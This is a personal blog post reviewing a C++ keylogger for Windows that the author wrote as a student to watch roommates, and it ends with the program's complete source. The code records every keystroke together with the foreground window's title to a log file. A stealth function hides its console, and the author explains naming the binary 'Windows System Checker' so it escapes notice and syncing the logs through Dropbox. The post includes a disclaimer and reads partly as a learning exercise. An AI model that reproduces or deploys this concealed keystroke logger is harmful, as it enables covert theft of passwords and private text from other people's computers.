When I first arrived at UCSB, I realized that this was the first time I would be living with roommates (that weren't family). I had a Windows machine and I had recently just learned how easy it was to break Windows Passwords (In fact, I had just made some money helping some family friends recover some of their lost passwords). Thus, I was a bit worried about unwanted smart people rummaging through my computer. It occurred to me that this was a perfect excuse to build a simple keylogger. Besides, keyloggers had always fascinated me, simply because they were flashy and appeared in the news any time someone was talking about the dangers of computer hackers. My first intuition was that since C++ was so low-level (when compared to other languages), keylogging with it had to be simple and efficient. In a week or so, I whipped up a ~280ish line program. Note that my keylogger relied on the window.h and windowuser.h libraries, because it was intended for use in my Windows machine. Now, after a few years have passed, I wanted to do a small post-mortem of this code. Bare with me as we dive into some half-cooked old old code! On my main() I was initially using GetAsyncKeyState() from windows.h to check for each keystate. Essentially  checking all keys, which have addresses from 8 to 255. The line GetAsyncKeyState(i) == -32767 is a bit hacky, but that is what this function returns if a key was just pressed and released. (Although apparently this isn't the best way to do it.)  

unsigned char i;
    while (true) {
    for (i = 8; i <= 255; i++) {
        if (GetAsyncKeyState(i) == -32767){
            int a = log(i,"LOG.txt");
        }
    }
}
  The log(key,file) function is where the magic happens, it takes a key that has been pressed, passes it through a filter function (explained later), figures out the focused window where the keypress was collected from and saves all that info to the log file. Here is a shortened version of the log function that focuses on the important parts.

int log(int key,char* file){
    fstream outFile(file,ios::out | ios::app);

    //etc, etc, etc ....
    if (!isSameWindow()){
        outFile << "\n\n */\n/*" << windowName << endl;
        outFile << ">>---------------------------------------\n\n";
    }
    savePrevWindow();
    
    //etc, etc, etc ....

    key = filter(key);
    print(key);
    outFile << (char) key;
    
    outFile.close();
 
 savePrevWindow();
}
The filter(key) function simply checks if (Shift) or (Caps Lock) are being pressed, and if so, it accounts for them. In other words, when you get a keypress for the (1) key, if (Shift) is also being pressed, then the actual character that should be logged is (!).

if (hookShift()){
    if (key == 186){key = ':';}
    else if (key == 187){key = '+';}
    //...etc, etc, etc.
}
  To figure out what screen is on the foreground (where the user is typing) we simply use the GetWindowText() and GetForegroundWindow() from windowuser.h.

void savePrevWindow(){
    HWND hwnd=GetForegroundWindow();
    int test=GetWindowText(hwnd,prevWindow,80); 
}

bool isSameWindow(){
    HWND hwnd=GetForegroundWindow(); 
    int test=GetWindowText(hwnd,windowName,80); 
    if (strcmp(windowName,prevWindow) == 0){
        return true;
    }
    else{ return false;}
}
Last, but not least, we have a fancy-pants function to hide our keylogger from plain sight. Essentially it opens a hidden console and runs there. The only way the user will notice this is if they look into their Task Manager.



void stealth(){
 HWND stealth; //Name of the Console 
 AllocConsole(); //Allocates New Console
 stealth = FindWindowA("ConsoleWindowClass", NULL); //Finds Window
 MoveWindow(stealth,-300,-700,0,0,TRUE); //Moves Window out of Sight
 ShowWindow(stealth,0); //Cloaks Window
 //Not necessary. But feel free to play around with this:
 //SetPriorityClass(GetCurrentProcess(),HIGH_PRIORITY_CLASS);
}
I compiled this code with g++ on Cygwin and called it something benign such as "Windows System Checker", so that even if someone opened the Task Manager, my keylogger would not arrise suspicion. Now, since the move-in date was approaching soon. I decided to forget about building an email module that would alert me and send log files when somebody was accessing my computer, instead I piggybacked on Dropbox, which I already had installed on my computer. So the program ran and saved files into Dropbox folders which would automatically update and thus alert me on my phone or other computers. I ran this keylogger for a while, but it did have one major drawback: CPU consumption. For some reason that is still rather unknown to me, it takes up to 50% CPU usage. That is insane, and honestly quite ridiculous for any self-respected keylogger. Seeing this, I decided to abandon my C++ prototype and try something different. I decided to try Python.... [Continue to "Capture the Keys - Chapter 2: Plogger"]  

Complete Code


/*
Note: This is really old hacky inefficient code. I'm saving for historical purpouses.
More Info on this:  http://konukoii.com/blog/2016/08/18/capture-the-keys-chapter-1-clogger/

DISCLAIMER: THE AUTHOR DOES NOT CONDONE THE USE OF THIS PROGRAM FOR ANY
ILLEGAL OR OTHERWISE INTRUSIVE APPLICATION THAT MIGHT HARM OTHERS PRIVACY.
USE AT YOUR OWN RISK! NO WARRANTIES OR GUARANTIES ARE GIVEN FOR THIS PROGRAM.

WHAT THIS PROGRAM IS FOR:
->LEARNING TO USE THE WINDOWS HOOKS.
->MONITORING YOUR OWN COMPUTERS! (ENPHASIS ON THE OWN) 
->WHITE HAT KNOWLEDGE

AGAIN, DON'T DO ANYTHING STUPID & DON'T BE EVIL.
*/

#include <fstream>
#include <iostream>
#include <windows.h>
#include <Winuser.h>
#include <stdio.h>
#include <string>
#include <cstring>
using namespace std;

const bool DEBUG = false;            //Change this value to print output and bypass stealth 

int log(int key,char* file);        //Logs Keys into Files
int filter(int key);                //Filters Backspaces, Shift Hooks and other special ocurrances.
void stealth();                     //Detaches itself from the Console and runs hidden
bool hookShift();               //Activated after Shift is pressed. Makes sure to modify next character.
bool capsLock();
void savePrevWindow();
bool isSameWindow();
void print(string a);
void print(int a);
void backspaceHook();

//Global Variables//
//TELL ME THIS AIN'T CORRECT ONE MORE TIME! I DARE YOU! I DOUBLE DARE YOU MOTHERFUCKER!
CHAR windowName[80];
CHAR prevWindow[80];
bool possibleBackspace = false;
//bool shiftHooked = false;

int main() {
    if (!DEBUG){
        stealth();
    }
    
    
    
    unsigned char i;
    while (true) {
        for (i = 8; i <= 255; i++) {
            if (GetAsyncKeyState(i) == -32767){
                int a = log(i,"LOG.txt");
            }
        }
    }
    return 0;
}

int log(int key,char* file){
        
    
    //   Check for Trash //
    //   Left Click  | Right Click | Shift Byprod | CTRL Byprod  | ALT Byproduct| Cancel Butt | Middle Click
    if ( (key == 1) || (key == 2) || (key == 16) || (key == 17) || (key == 18) || (key == 3) || (key == 4) || (key == 37) ||
         (key == 38) || (key == 39) || (key == 40)){ 
        return 0;
    }
    
    //if (key == VK_BACK){
    //    backspaceHook();
    //    return 0;
    //}

    fstream outFile(file,ios::out | ios::app);

    //If it is not same window
    //Print window header name.
    if (!isSameWindow()){
        outFile << "\n\n */\n/*>>> " << windowName << endl;
        outFile << ">---------------------------------------------------\n\n";
    }
    
    savePrevWindow();
    
    
    //CHECK FOR SPECIAL CHARACTERS
    
    //SHIFT
    if (key == VK_LSHIFT || key == VK_RSHIFT ){
        print(" [SHIFT] ");
        //outFile << "[SHIFT]";
    }
    //ALT
    else if (key == VK_LMENU || key == VK_RMENU ){
        print(" [ALT] ");
        outFile << " [ALT] ";
    }
    //CTRL
    else if (key == VK_LCONTROL || key == VK_RCONTROL ){
        print(" [CTRL] ");
        outFile << " [CTRL] ";
    }
    //CAPSLOCK
    else if (key == VK_CAPITAL){
        print(" [CAPSLOCK] ");
        //outFile << "[SHIFT]";
    }
    //ANYTHING ELSE
    else {
        key = filter(key);
        print(key);
        outFile << (char) key;
    }
    
    outFile.close();
    
    return 0;
}

int filter(int key){
    //tienes que poner aca un if-then que checkee si shift esta o no pressed
    //IF IT IS CAPITAL LETTER
    if ((key >= 65) && (key <= 90)){
        //IF SHIFT IS  NOT HOOKED MAKE IT small
        //AND CAPSLOCK IS NOT ON.
        if( (!hookShift()) && (!capsLock()) ){
            key +=32; 
        }
    }
    //ELSE SI ES ALGUN NUMERO
    else if ((key >= 48) && (key <= 57)){
        if (hookShift()){
            switch(key) {
                case '1' : key = '!'; break;
                case '2' : key = '@'; break;
                case '3' : key = '#'; break;
                case '4' : key = '$'; break;
                case '5' : key = '%'; break;
                case '6' : key = '^'; break;
                case '7' : key = '&'; break;
                case '8' : key = '*'; break;
                case '9' : key = '('; break;
                case '0' : key = ')'; break;
            }
        }
    }
    //SI ES ALGUN EXTRA KEY Y ESTA HOOKED SHIFT
    if (hookShift()){
        if (key == 186){key = ':';}
        else if (key == 187){key = '+';}
        else if (key == 188){key = '<';}
        else if (key == 189){key = '_';}
        else if (key == 190){key = '>';}
        else if (key == 191){key = '?';}
        else if (key == 192){key = '~';}

        else if (key == 219){key = '{';}
        else if (key == 220){key = '|';}
        else if (key == 221){key = '}';}
        else if (key == 222){key = '"';}
    }
    //SI ES ALGUN EXTRA KEY Y NO ESTA HOOKED SHIFT
    else {
        if (key == 186){key = ';';}
        else if (key == 187){key = '=';}
        else if (key == 188){key = ',';}
        else if (key == 189){key = '-';}
        else if (key == 190){key = '.';}
        else if (key == 191){key = '/';}
        else if (key == 192){key = '~';}
        
        else if (key == 219){key = '[';}
        else if (key == 220){key = '\\';}
        else if (key == 221){key = ']';}
        else if (key == 222){key = '\'';}        
    }
    
    /*NUMPAD
    
    NUMPAD numbers hold same values for letters
    When decyphering messages take this into consideration.
    
    //NUMPAD (Intento 2)
    if (key == VK_NUMPAD0) {key = '0';}
    else if (key == VK_NUMPAD1) {key = '1';}
    else if (key == VK_NUMPAD2) {key = '2';}
    else if (key == VK_NUMPAD3) {key = '3';}
    else if (key == VK_NUMPAD4) {key = '4';}
    else if (key == VK_NUMPAD5) {key = '5';}
    else if (key == VK_NUMPAD6) {key = '6';}
    else if (key == VK_NUMPAD7) {key = '7';}
    else if (key == VK_NUMPAD8) {key = '8';}
    else if (key == VK_NUMPAD) {key = '9';}
    
    
    //NUMPAD  (Intento 1)
    if ((key >=96) && (key<=105)){key -=48;}
    else if (key == 110){key = '.';}    
    else if (key == 111){key = '/';}
    else if (key == 106){key = '*';}
    else if (key == 107){key = '+';}
    else if (key == 109){key = '-';}
    
    */
    
    return key;
}

bool capsLock(){
    if (GetKeyState(VK_CAPITAL) == 1){return true;}
    if (GetKeyState(VK_CAPITAL) == -127){return true;}
    return false;
}

bool hookShift(){
    
    //cout << "LEFT SHIFT: " << GetKeyState(VK_LSHIFT);
    //cout << "RIGHT SHIFT: " << GetKeyState(VK_RSHIFT) <<endl;
    //cout << "SHIFT:  ";
    //cout << "CAPITAL: " << GetKeyState(VK_CAPITAL) <<endl;
    
    if (GetKeyState(VK_LSHIFT) < -120){return true;}
    if (GetKeyState(VK_RSHIFT) < -120){return true;}
    
    return false;


}

void backspaceHook(){
    //fstream outFile(file,ios::out);
    //outFile.seekg(ios_base::end);
    
    
    
    
}

void stealth(){
    HWND stealth;   //Name of the Console 
    AllocConsole(); //Allocates New Console
    stealth = FindWindowA("ConsoleWindowClass", NULL);  //Finds Window
    MoveWindow(stealth,-300,-700,0,0,TRUE);             //Moves Window out of Sight
    ShowWindow(stealth,0);                              //Cloaks Window
    
    SetPriorityClass(GetCurrentProcess(),HIGH_PRIORITY_CLASS);
    
}

void savePrevWindow(){
    HWND hwnd=GetForegroundWindow();

    int test=GetWindowText(hwnd,prevWindow,80); 
}

bool isSameWindow(){

    HWND hwnd=GetForegroundWindow(); 
    int test=GetWindowText(hwnd,windowName,80);
    
    //char* CurrWin = (char*) windowName;
    //char* PrevWin = (char*) prevWindow;
    //cout << windowName << prevWindow;
    
    if (strcmp(windowName,prevWindow) == 0){
        return true;
    }
    else{ return false;}
}

void print(string a){
    if (DEBUG){
        cout << a << endl;
    }
}

void print(int a){
    if (DEBUG){
        cout << (char) a << " : " << (int) a << endl;
    }
}

/* TO BE DONE:
    BASICO:
    3. Other Control Buttons  (Evitar que escriban cosas al output)
    5. En debug borra el contenido del file
    
    6. Backspace hook.
    7. Signal Checking
    8. String Searching Can Immediatly separate whats important from what is not.
    9. Email Module with Blat/Stunnel (remember to open & close stunnel)

*/

/*DONE:
    1. Keys Basicos
    2. Nupad

*/